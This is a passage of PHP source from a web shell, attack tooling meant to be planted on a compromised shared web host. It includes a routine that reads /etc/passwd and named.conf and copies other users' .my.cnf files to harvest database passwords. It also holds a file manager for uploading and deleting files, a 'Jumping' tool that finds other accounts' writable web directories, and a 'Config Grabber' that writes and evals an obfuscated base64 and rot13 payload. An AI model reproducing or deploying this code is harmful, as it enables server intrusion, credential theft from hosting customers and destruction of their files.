                            echo "<table align=center><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
                            $count = 1;
                            $dc = 0;
                            $mck = array();
                            foreach ($d0mains as $d0main) {
                                if (@eregi('zone', $d0main)) {
                                    preg_match_all('#zone "(.*)"#', $d0main, $domain);
                                    flush();
                                    if (strlen(trim($domain[1][0])) > 2) {
                                        $mck[] = $domain[1][0];
                                    }
                                }
                            }
                            $mck = array_unique($mck);
                            $usr = array();
                            $dmn = array();
                            foreach ($mck as $o) {
                                $infos = @posix_getpwuid(fileowner("/etc/valiases/" . $o));
                                $usr[] = $infos['name'];
                                $dmn[] = $o;
                            }
                            array_multisort($usr, $dmn);
                            $dt = file('/etc/passwd');
                            $passwd = array();
                            foreach ($dt as $d) {
                                $r = explode(':', $d);
                                if (strpos($r[5], 'home')) {
                                    $passwd[$r[0]] = $r[5];
                                }
                            }
                            $l = 0;
                            $j = 1;
                            foreach ($usr as $r) {
                                $dirz = '/home/' . $r . '/.my.cnf';
                                $path = getcwd();
                                if (is_readable($dirz)) {
                                    copy($dirz, '' . $path . '/' . $r . '.txt');
                                    $p = file_get_contents('' . $path . '/' . $r . '.txt');
                                    $password = entre2v2($p, 'password="', '"');
                                    echo "<tr><td valign=top class=style2 style=width: 139px>" . $count++ . "</td><td valign=top class=style2 style=width: 139px><a target=_blank href=http://" . $dmn[$j - 1] . '/>' . $dmn[$j - 1] . ' </a></td><td valign=top class=style2 style=width: 139px>' . $r . "</td><td valign=top class=style2 style=width: 139px>" . $password . "</td><td valign=top class=style2 style=width: 139px><a href='" . $r . ".txt' target='_blank'>Click Here</a></td></tr>";
                                    $dc++;
                                    flush();
                                    $l = $l ? 0 : 1;
                                    $j++;
                                }
                            }
                        }
                        echo "</table>";
                        $total = $dc;
                        echo '<br><div class=result valign=top class=style2 style=width: 139px >Total cPanel Found = ' . $total . '</h3><br />';
                        echo "</center>";
                    }
                } else {
                    echo "<div class=result><i><font color=#ff9900>ERROR</font><br><font color=#ff9900>/var/named</font> or <font color=#ff9900>etc/named.conf</font> Not Accessible!</i></div>";
                }
            };
            echo " </div>";
            hardFooter();
        }
        function actionReseller()
        {
            hardHeader();
            echo "<center><h1>WHM & Reseller Finder</h1><div class=content><br>";
            echo "<br><center>  <iframe src='?reseller' width='900' height='470'></iframe></a>";
            echo "</div>";
            hardFooter();
        }
        function actionFilesMan()
        {
            if (!empty($_COOKIE['f'])) {
                $_COOKIE['f'] = @unserialize($_COOKIE['f']);
            }
            if (!empty($_POST['p1'])) {
                switch ($_POST['p1']) {
                    case 'uploadFile':
                        if (is_array($_FILES['f']['tmp_name'])) {
                            foreach ($_FILES['f']['tmp_name'] as $i => $tmpName) {
                                if (!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
                                    echo "Can't upload file!";
                                }
                            }
                        }
                        break;
                    case 'mkdir':
                        if (!@mkdir($_POST['p2'])) {
                            echo "Can't create new dir";
                        }
                        break;
                    case 'delete':
                        function deleteDir($path)
                        {
                            $path = substr($path, -1) == '/' ? $path : $path . '/';
                            $dh = opendir($path);
                            while (($▟ = readdir($dh)) !== false) {
                                $▟ = $path . $▟;
                                if (basename($▟) == ".." || basename($▟) == ".") {
                                    continue;
                                }
                                $type = filetype($▟);
                                if ($type == "dir") {
                                    deleteDir($▟);
                                } else {
                                    @unlink($▟);
                                }
                            }
                            closedir($dh);
                            @rmdir($path);
                        }
                        if (is_array(@$_POST['f'])) {
                            foreach ($_POST['f'] as $f) {
                                if ($f == '..') {
                                    continue;
                                }
                                $f = urldecode($f);
                                if (is_dir($f)) {
                                    deleteDir($f);
                                } else {
                                    @unlink($f);
                                }
                            }
                        }
                        break;
                    case 'paste':
                        if ($_COOKIE['act'] == 'copy') {
                            function copy_paste($c, $s, $d)
                            {
                                if (is_dir($c . $s)) {
                                    mkdir($d . $s);
                                    $h = @opendir($c . $s);
                                    while (($f = @readdir($h)) !== false) {
                                        if ($f != "." and $f != "..") {
                                            copy_paste($c . $s . '/', $f, $d . $s . '/');
                                        }
                                    }
                                } elseif (is_file($c . $s)) {
                                    @copy($c . $s, $d . $s);
                                }
                            }
                            foreach ($_COOKIE['f'] as $f) {
                                copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
                            }
                        } elseif ($_COOKIE['act'] == 'move') {
                            function move_paste($c, $s, $d)
                            {
                                if (is_dir($c . $s)) {
                                    mkdir($d . $s);
                                    $h = @opendir($c . $s);
                                    while (($f = @readdir($h)) !== false) {
                                        if ($f != "." and $f != "..") {
                                            copy_paste($c . $s . '/', $f, $d . $s . '/');
                                        }
                                    }
                                } elseif (@is_file($c . $s)) {
                                    @copy($c . $s, $d . $s);
                                }
                            }
                            foreach ($_COOKIE['f'] as $f) {
                                @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
                            }
                        } elseif ($_COOKIE['act'] == 'zip') {
                            if (class_exists('ZipArchive')) {
                                $zip = new ZipArchive();
                                if ($zip->open($_POST['p2'], 1)) {
                                    chdir($_COOKIE['c']);
                                    foreach ($_COOKIE['f'] as $f) {
                                        if ($f == '..') {
                                            continue;
                                        }
                                        if (@is_file($_COOKIE['c'] . $f)) {
                                            $zip->addFile($_COOKIE['c'] . $f, $f);
                                        } elseif (@is_dir($_COOKIE['c'] . $f)) {
                                            $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
                                            foreach ($iterator as $key => $value) {
                                                $zip->addFile(realpath($key), $key);
                                            }
                                        }
                                    }
                                    chdir($GLOBALS['cwd']);
                                    $zip->close();
                                }
                            }
                        } elseif ($_COOKIE['act'] == 'unzip') {
                            if (class_exists('ZipArchive')) {
                                $zip = new ZipArchive();
                                foreach ($_COOKIE['f'] as $f) {
                                    if ($zip->open($_COOKIE['c'] . $f)) {
                                        $zip->extractTo($GLOBALS['cwd']);
                                        $zip->close();
                                    }
                                }
                            }
                        } elseif ($_COOKIE['act'] == 'tar') {
                            chdir($_COOKIE['c']);
                            $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                            ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                            chdir($GLOBALS['cwd']);
                        }
                        unset($_COOKIE['f']);
                        setcookie('f', '', time() - 3600);
                        break;
                    default:
                        if (!empty($_POST['p1'])) {
                            prototype('act', $_POST['p1']);
                            prototype('f', serialize(@$_POST['f']));
                            prototype('c', @$_POST['c']);
                        }
                        break;
                }
            }
            hardHeader();
            echo "<h1>File manager</h1><div class=content><script>p1_=p2_=p3_=\"\";</script>";
            $dirContent = hardScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
            if ($dirContent === false) {
                echo "Can't open this folder!";
                hardFooter();
                return;
            }
            global $sort;
            $sort = array('name', 1);
            if (!empty($_POST['p1'])) {
                if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['p1'], $match)) {
                    $sort = array($match[1], (int) $match[2]);
                }
            }
            echo "<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == 'checkbox')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table width='100%' class='main' cellspacing='0' cellpadding='2'>\r\n<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
            $dirs = $files = array();
            $n = count($dirContent);
            for ($i = 0; $i < $n; $i++) {
                $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
                $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
                $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
                if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
                    $files[] = array_merge($tmp, array('type' => 'file'));
                } elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
                    $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
                } elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && $dirContent[$i] != ".") {
                    $dirs[] = array_merge($tmp, array('type' => 'dir'));
                }
            }
            $GLOBALS['sort'] = $sort;
            function cmp($a, $b)
            {
                if ($GLOBALS['sort'][0] != 'size') {
                    return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
                } else {
                    return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
                }
            }
            usort($files, "cmp");
            usort($dirs, "cmp");
            $files = array_merge($dirs, $files);
            $l = 0;
            foreach ($files as $f) {
                echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . ($f['type'] == 'file' ? viewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . ($f['type'] == 'file' ? ' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
                $l = $l ? 0 : 1;
            }
            echo "<tr id=fak><td colspan=7>\r\n\t<input type=hidden name=ne value=''>\r\n\t<input type=hidden name=a value='FilesMan'>\r\n\t<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\r\n\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n\t<label><select name='p1'>";
            if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) {
                echo "<option value='paste'>\xe2\x86\xb3 Paste</option>";
            }
            echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
            if (class_exists('ZipArchive')) {
                echo "<option value='zip'>+ zip</option><option value='unzip'>- zip</option>";
            }
            echo "<option value='tar'>+ tar.gz</option>";
            echo "</select></label>";
            if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && ($_COOKIE['act'] == 'zip' || $_COOKIE['act'] == 'tar')) {
                echo "&nbsp;file name: <input type=text name=p2 value='hard_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
            }
            echo "<input type='submit' value='submit'></td></tr></form></table></div>";
            hardFooter();
        }
        function actionStringTools()
        {
            hardHeader();
            echo "<center><h1>Jumping ;D</h1><div class=content><br>";
            $hex = "tUhaYptAED1Gqf9uVywtNJFWD70kQKJJiZWe2lXpxbIQi2mX2NECeLMJNP7vneXDxqYf6qGWDMvOzJs3YnRgoiGA88u3Yqx4HeuIK+GQT/OkkkKRb4wyQc7g3DUOKi8p2H7CR+gX+hHyV2UekE2yjY4v4HCyApkKbVZP27hClMgRe1oTFTu2h0JeggHLwj4Dm9kuQwaFSY7tr3YsIKcVcsGy1E+FX3JZBDAlCxjE+Z5kDO2GDDpJypm0FpNzowRqWUHXhR/oYOn13hwAIfD6Cu8ah9be1/OP2VpleAuq4qrDTk42RC1SXlOyqhziOdP3Su7F6sJQ6ToKuFW5b9FmTSc63jQlS9aab5a8Zw558w8LkLzzfyl2dOlMWwfORKEZSWJ7Ja2VahzjJXZJ6TwqUl21xBtMNI9ZaDIzCh6jubtR1lGfnl7263S2NInmcL1hOnYW4FgomU0H5CqRogxT2CQcU3RIqsKRQgfmezLsKWqcl1mLv2X+I9Ev/53ptrs3vXKoDFdLp2QuNI0jtdIcm5UklOtIhI2bLEZdkIMqCk1YHTfpWWpwsxvHKMeMKsbgaaBvTKtvipt4nAqrDzadfxBi2n8A3mg+BCE4MJbpO+TNBAj5okCUCk0sMMm6msH1M7av+mMerPFZ2Cfeo3Et3Wk8plJpgi+CIc/dE2Ibfoe+n5OhvZ+T4mxL2tFrpKxP+Q6Faa6NnGcZK9bJ+CgrLbniHoLZ7iDxL9FTe2ZvCiOLTpw5gmR18PupHp9YGiIb31hUb+MvUD1eBhvb3WW36hfHVNO99YaInXh7eK7mb/6mDHprnyNEMJsDtD3SjApMgT2d6KkN3zRGuaDsCTdD8pJlkT0ZgZxWZ3t/Zmp/MycPs9nn6OHT7Yws3KndENnuvzAefl1jrMyHxpjgKvwJ";
            eval("\$i = 0;\r\n\t@ini_set('display_errors', 0);\r\n\techo \"<pre><div class='margin: 5px auto;'>\";\r\n\t\$etc = fopen(\"/etc/passwd\", \"r\") or die(\"<font color=white>Can't read /etc/passwd</font>\");\r\n\twhile(\$passwd = fgets(\$etc)) {\r\n\t\tif(\$passwd == '' || !\$etc) {\r\n\t\t\techo \"<font color=white>Can't read /etc/passwd</font>\";\r\n\t\t} else {\r\n\t\t\tpreg_match_all('/(.*?):x:/', \$passwd, \$user_jumping);\r\n\t\t\tforeach(\$user_jumping[1] as \$user_khoer_jump) {\r\n\t\t\t\t\$user_jumping_dir = \"/home/\$user_khoer_jump/public_html\";\r\n\t\t\t\tif(is_readable(\$user_jumping_dir)) {\r\n\t\t\t\t\t\$i++;\r\n\t\t\t\t\t\$jrw = \"[<font color=white>R</font>] <a href='?path=\$user_jumping_dir'><font color=blue>\$user_jumping_dir</font></a>\";\r\n\t\t\t\t\tif(is_writable(\$user_jumping_dir)) {\r\n\t\t\t\t\t\t\$jrw = \"[<font color=white>RW</font>] <a href='?path=\$user_jumping_dir'><font color=blue>\$user_jumping_dir</font></a>\";\r\n\t\t\t\t\t}\r\n\t\t\t\t\techo \$jrw;\r\n\t\t\t\t\tif(function_exists('posix_getpwuid')) {\r\n\t\t\t\t\t\t\$domain_jump = file_get_contents(\"/etc/named.conf\");\t\r\n\t\t\t\t\t\tif(\$domain_jump == '') {\r\n\t\t\t\t\t\t\techo \" => ( <font color=white>I can't take the domain name</font> )<br>\";\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\tpreg_match_all(\"#/var/named/(.*?).db#\", \$domain_jump, \$domains_jump);\r\n\t\t\t\t\t\t\tforeach(\$domains_jump[1] as \$dj) {\r\n\t\t\t\t\t\t\t\t\$user_jumping_url = posix_getpwuid(@fileowner(\"/etc/valiases/\$dj\"));\r\n\t\t\t\t\t\t\t\t\$user_jumping_url = \$user_jumping_url['name'];\r\n\t\t\t\t\t\t\t\tif(\$user_jumping_url == \$user_khoer_jump) {\r\n\t\t\t\t\t\t\t\t\techo \" => ( <u>\$dj</u> )<br>\";\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\techo \"<br>\";\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif(\$i == 0) { \r\n\t} else {\r\n\t\techo \"<br>Total \".\$i.\" Directory \".gethostbyname(\$_SERVER['HTTP_HOST']).\"\";\r\n\t}\r\n\techo \"</div></pre>\";\r\n ?>");
            echo "</div>";
            hardFooter();
        }
        function actionSafeMode()
        {
            hardHeader();
            echo "<center><h1>Config Grabber</h1><div class=content><br>";
            @ini_set('display_errors', 0);
            $cgi_dir = mkdir('priv_sym', 0755);
            chdir('priv_sym');
            $file_mass = "conf.php";
            $mass_script = "PD9wSHAgJGhleCA9ICI3VnpyUnR0VkV2KzhSL0UvekxxNHNna1BrWG0yc3BVQUcrQjV2TnlkWkp5Rld3ZzVsMU9ua1RDK3NUUzJ0RlZiL08vWE15UEo4Z3VMOUh6WXF6cXFWZlNZL3ZWdytpWGg5c2ZZanZ0WmE0MXRHRE1uNGNPK1kxM3Fzdm91T2RqK3NMa1JqMWFEYks1VUV6b1FZWVA1SXpoNG5GMmQ5VUpic0hHWC9MQzlXbzZPVlhvUTI3VjY4c2ZtQm9FZkVWR1UxQTlNNE1hT2Fzd1Q0VzJOMmxKNWgyZkFDQlB1dldPSldqM0NmTWVocmlmQzJ2YWhsYTJ1Zjhnd0htOFBEcCswREZ2OXM5UFdiTUZnYmVsWVBhRDJPSjdVdjFjeDZubVkzbFNVYkt4ZXJKVS9IOVBITUdrYk5jZU43My9xRjR0M29NSzdhdSsyUDFsS2lnZlJxQ1UyMlhERUltYkxMWmRGcjBsZXZSVnNQQWdFY0FSWlkrcHJNYlVadWJaUVFHN2tNMXJBZDYxdWJSUGJqM2xtNDBic2lzQ2o3a010UStEN2taZGhZV2ZDOEh6b0NPS0pCOCtDV29oNnN1OVJEa1JxcnJnZGdnSG5ZbUZodExnWHMvR1FaK3h1clNUU3gyU2NpTDdqZTMwd2pDZDVqeTJvZXUzbmI0TUJDaFZ6OUJKZTBHbzRjSU1RTk1zdHJTL1V2NjVjS0I2Y2hJWmd3TTBOaVR5OVNzWWVSa3J3SUlJTkxORmxVN2F5cGVWOVJpd2NQZ3YrWG04djRxcTFQbXVYbEV2U2ZQbng2L3p0MzFJNm9oTE1aTVdrN3dxd2RDQWFhT3ZPdXVmdW5UVVlET0JWMmVqT3NpQUc2dkNyTU9jWlZnZEhHQ24zZ2dnUU1zdkdCY0dDSG1iZVNDUDdtYmo3cEhOU251ZUVOR0RXd05uVERxMDhZSDdqRkVTbUJKRHRYVU0zQkRFWTIvY2VjejJ6T2xUTnptcTU5TjVYWFA5V2RwcGpORmpya2RyaWtjV1ZhOTdRVkpxS01NYXdCYy96UnVzRjVvVTFsNWNJaGl6MkJMTlBNZVorNGt5UWM3M1luckJYckQrNXZzTVR2STBMcHJFZFIyOThCdTdrOFVsUkhRUm03amdXVWJlVjBBQ1VhMVdUdFhsaStRUmxGY1h3RE5QWWZzbnVuanJDN21YWHcrbVp4SUdLbk56Z0lmZjRpRE5FVm9SZWtzUXM0YU9sSWp4YVFyUERwL1hWTDRGTnM2YjJkcElsdGU5d1U5K29UR05xbnVCL3YvcHliVHhiL2RhWitPM0IyelhtaFJVdnNDMnMvdE1hYVdaUVR1WUM3R2NqN2s4K09YZWZmOTc3aWV4ODVtbWdtVStDSVR2WEV4c3FleGRjSDJIUkpCUXUreHk3ekNNN2Y3czZ2NzBoTy9MZlpqNVg0SDRMR2o5TXRwcCtBaG9WcDUrRVlRS0JIZGs1NGFtNGlGQXZPbTJWQ2FJNWtFb3lUY0JobXh0YU1XTWh4ZmJzVm5rTFpYY1hTcnJVRHNsZi9uWDIvdHJ1dGM3N242OWliU2VkMjk0VCtkZitxN0xweVplVDd0ZUNWMWRRN2lUNlNZbTQzYngrUlZoaWFadFVQeHk4MlFlU3lpNG50eGZsWWhPWGozTWRZY2JmOUUyNWRZblBlc1VzN2xSZVEvWWluaVJGMzMvNzREWGtCQXJ3eWtQYTBwUndDblpsa2QyTVNiWEJqUHVPbFRVYkVtQzNFRzlCNGExbzNlVzB1K3FEek5CdU5mWmYvYno5L3VHOTdNc3k2cXpYeXNUS09Wa2J6TkxOTDYrL3FpWkdYVVhLekJob1dPcVVMUVdadU92eUlZUjNCRDJIU0tLeDlyWE9FWFJFalJ3ZGs5ckYxZTFlNmRvdVRFL2srQ09vRW1DRU5FelMrbldjb3I5TUR6SGZ4blVBMWF1c0oxN2RrblVZM1dwSDFuQyt2ZEFnMHg1dlBkQlBxNkFoc242Z0F2MWMyZGZrYkhxdnhQKzVFcTdoOGpxOUh1NStjWUVwRWo4VWVVNm9YMU4ra2dpdzEyMFlFeGphUW93aE1TTkRUbURLUGd2a3Q4TXFBVERIM1dwWTIzekt1alJhaFJ1SUNvRUUzbm9NakM0WUZ3RVYwSVZkLzNNMHg2V2hIMnZteEFzZ0tJMkI1VjdRbnlSbkJObWpBTGsrcStBSk00L2FURGJQbjZlclExdVFWajBreWlpaEV5eUU4RGdTVDc2RTQwdUR5TXFDdHlrTzRPSU1DV0NMQWNNcWtTOVM0aGp3cmtPa0ZBbWhZZUlnN2w5d0FkNWcvZHZBYVlCMEdJaG9yQlFMTCtzMGduNGpTakhkUEl0T3FGaWdwKzIyS3NpU0xteHMrRTlzY2U1UGIzSEpDNG1pc2hjU0krVlNKL3JOR09vbUVsQ0ZQUkpRY2g4a0JnUStGdUVORnVGcXRRNkxJb01mQ2FHQ2R4VlZ4WWdiVVhiQVNScTFJc2lGQkRFaHlKOEFVQzR6WUE0RG11QVZ3ZXVCU2dPSlkyamFPc2RQME5Wc3B5SlJoSWQxdGMvT1Fadm5QWG5BdHJJL1kzRDluQm5DQ2Ftc1JITkRESGxuZWEvc1UxN2daTmNudnhyd0dMd3MzVUVUNi8zeWxSVVNJc0JRbkRZLzlacExERGNVTGhLREdzRG8zbHozUWREYmtzVENVMktNQ1JDdFFhZlo2eGhFaWJ0dmNtTDBJclVNQUhJNTExbkdOWk5pa1NpWDF6YzMrT1JuR1NjSlBqbU5qS0JjdHYrT1V2Q0hTMXJRQ0xlZGs4NnZQU3dJdC9seDVhTk5VcERVQklqT0NYUENWS2NGTTA2a3NjeUVSV0FRcTN2VjYvNXAybE9iS2hMQkkvWFJtcG1CeVdVTnRtN05rZzIyVUJ5WmdibnN0SDdyYnZmcGtyTlVnVFh2eUFSVnE5ZDZON0ZzcHlVQzM4V21ESE1DcE5XNXdUOGc4UVQvWTNFQVVJYVBnZEF4RURaVmlMTnBzM3ZWZG02OTdNeHFnNGd6cklzNGMyQTYzZTUyRzkzRmFvS0ErdWdPbkJ0T2RyZlFRa3Q2aG40NDh2RVFUUE51cGtndzB5VDh2NUl1NlVteGZmc3R0dWxCc1FCTXpjSy9wWndDb2Q4L085d1cySXl0dlJaZHdUSVlVQSsrSmw2OWpGTUxmK204cEE5TVhFY2dwdy81VUNzZUNRdWgzaWtqTWE0TVlGbGZCSnNCTW00WEF6dWtYazBpTWJUTGJ3WFJMK21Nb0tEM0tBOTJNekIxWkZsU2NGN1JrRGhEUTdBeG9BdUJvVlV5NG4vRkorUENtR3g3YlA0dGZUenVIOElPS24ydTlUOXRvVTdFeGM4Q29pRU5XRGo3bVZrMFhJRVVNL3IyemV0cVJnaVp5cVVmU3ZvQVNMYlVISndacEN0d1ZkT2ljUkxPbkwxeDBqSUNOdXV1R0NTZExNd0lwVmlXVGl4USs1aVhMNU5naGxITFdKbFdNRkNpVGt3ekUxSzZ1Qm1OeU9wZXUzemd1enh4STRka3NsQWczYkpzeXZNNW52bko2UmNNVkJYelBEd0ZUcVlEUFhkVGVDSlhNMDBaODNKbW40cmZMQUF3Vzg3b2lZaUVpWEpxbEJpSzcwZUtGYk5ISmJ2dmxTMmh4azlxNThlcnlqOXd4NWU2bE5qc3p1cStqUEIyOXRKR1VuZ3ZuUzdOZjRyNXhxMWNqSVc1eTIrR1NYaXFCbURWdFpMRzh1SzZidGgwaFZ5WXp5eTJJcHY0T3lMUFZTckg5VU52RnJKMnNLV1NLR1l0bVJwOUVlZmxScVl6Q2hzWklyMFNIRzllem0vcWJuUEorN2toMGRJVTZPeDg2TXhWZFhhMms1U0dQdk5ZK1R5b25CZzlnK1NSamhJeE53Tk5XNkgxMm5iTUZ4cHMvV3B5UjQyQ1ltNWVtSHlwbzYyTzQ0cno0b3Y1Um4xbVdPMHdrTFhXUFQ3a0pHWEYrT2hoTVhMZDFZNFB4MkJ1RXRDRXVsU2p4QmZIbjZndERpMXM5ZmpRNHZDYndkUythTFp0U1pyTmpXeHNWL1BUUmFBbS9DOFp3OExSb3ZEWmIwdlhMYi9XYjk4azZ0SmNTMDdjTEJWSmxqaGJZbGwxOVQwRUw1Wk5STTBJV2szcVczeWVsVjFHU0JaOXRwSnpSVTd2a0pKSGF4RU5KVFFBM3RVSUR5UVFuRmduTE9UKzdydFFkVzBTVlhESFZ5QTUyUzQvbGxFZ3RvUWtTU1BEUUI0a1kyZEhsL2ZxeEtVRE9INW1RNWVPREZTdkR3N3FBSmJMcGNUSUdoN1NxS2xXU0ExSFVYRW1xWlh6MDl4VVJhVGN4SWROcm96elhWcWZnaWlaZFcyWDRKd3dZcGpJS3dPWkNkK1R0ejhlT0E4ZjRGTWs0bGJrd1kzWEI2QzBSWmJxT2ZsN0RxRUhOOEMzQzBZVE9EbTA5SUt5R0dZa01wQ25OTC9DVEFXaXpQT0JycVdQaUtZdmtTNEtTbndEQnBEOW9nNVZpZXRWT2tWVG5SdnZNTFloaVJOaTZDaHRmNVRHMG1BNVlBdFo3WDMvdldjQXl3dmxQKzdVcWZUMlBaR2ZqLzhMIjsKZXZhbChzdHJfcm90MTMoZ3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCgkaGV4KSkpKSkpOyA=";
            $mass = fopen($file_mass, "w");
            fwrite($mass, "<?pHp \$hex = \"7VzrRttVEv+8R/E/zLq4sgkPkXm2spUAG+B5vNydZJyFWwg5l1OnkTC+sTS2tFVb/O/XMyPJ8guL9HzYqzqqVfSY/vVw+iXh9sfYjvtZa41tGDMn4cO+Y13qsvouOdj+sLkRj1aDbK5UEzoQYYP5Izh4nF2d9UJbsHGX/LC9Wo6OVXoQ27V68sfmBoEfEVGU1A9M4MaOaswT4W2N2lJ5h2fACBPuvWOJWj3CfMehrifC2vahla2uf8gwHm8PDp+0DFv9s9PWbMFgbelYPaD2OJ7Uv1cx6nmY3lSUbKxerJU/H9PHMGkbNceN73/qF4t3oMK7au+2P1lKigfRqCU22XDEImbLLZdFr0levRVsPAgEcARZY+prMbUZubZQQG7kM1rAd61ubRPbj3lm40bsisCj7kMtQ+D7kZdhYWfC8HzoCOKJB8+CWoh6su9RDkRqrrgdggHnYmFhtLgXs/GQZ+xurSTSx2SciL7je30wjCd5jy2oeu3nb4MBChVz9BJe0Go4cIMQNMstrS/Uv65cKB6chIZgwM0NiTy9SsYeRkrwIIINLNFlU7aypeV9RiwcPgv+Xm8v4qq1PmuXlEvSfPnx6/zt31I6ohLMZMWk7wqwdCAaaOvOuufunTUYDOBV2ejOsiAG6vCrMOcZVgdHGCn3gggQMsvGBcGCHmbeSCP7mbj7pHNSnueENGDWwNnTDq08YH7jFESmBJDtXUM3BDEY2/cecz2zOlTNzmq59N5XXP9WdppjNFjrkdrikcWVa97QVJqKMMawBc/zRusF5oU1l5cIhiz2BLNPMeZ+4kyQc73YnrBXrD+5vsMTvI0LprEdR298Bu7k8UlRHQRm7jgWUbeV0ACUa1WTtXli+QRlFcXwDNPYfsnunjrC7mXXw+mZxIGKnNzgIff4iDNEVoReksQs4aOlIjxaQrPDp/XVL4FNs6b2dpIlte9wU9+oTGNqnuB/v/pybTxb/daZ+O3B2zXmhRUvsC2s/tMaaWZQTuYC7Gcj7k8+OXeff977iex85mmgmU+CITvXExsqexdcH2HRJBQu+xy7zCM7f7s6v70hO/LfZj5X4H4LGj9Mtpp+AhoVp5+EYQKBHdk54am4iFAvOm2VCaI5kEoyTcBhmxtaMWMhxfbsVnkLZXcXSrrUDslf/nX2/trutc77n69ibSed294T+df+q7LpyZeT7teCV1dQ7iT6SYm43bx+RVhiaZtUPxy82QeSyi4ntxflYhOXj3MdYcbf9E25dYnPesUs7lReQ/YiniRF33/74DXkBArwykPa0pRwCnZlkd2MSbXBjPuOlTUbEmC3EG9B4a1o3eW0u+qDzNBuNfZf/bz9/uG97Msy6qzXysTKOVkbzNLNL6+/qiZGXUXKzBhoWOqULQWZuOvyIYR3BD2HSKKx9rXOEXREjRwdk9rF1e1e6douTE/k+COoEmCENEzS+nWcor9MDzHfxnUA1ausJ17dknUY3WpH1nC+vdAg0x5vPdBPq6Ahsn6gAv1c2dfkbHqvxP+5Eq7h8jq9Hu5+cYEpEj8UeU6oX1N+kgiw120YExjaQowhMSNDTmDKPgvkt8MqATDH3WpY23zKujRahRuICoEE3noMjC4YFwEV0IVd/3M0x6WhH2vmxAsgKI2B5V7QnyRnBNmjALk+q+AJM4/aTDbPn6erQ1uQVj0kyiihEyyE8DgST76E40uDyMqCtykO4OIM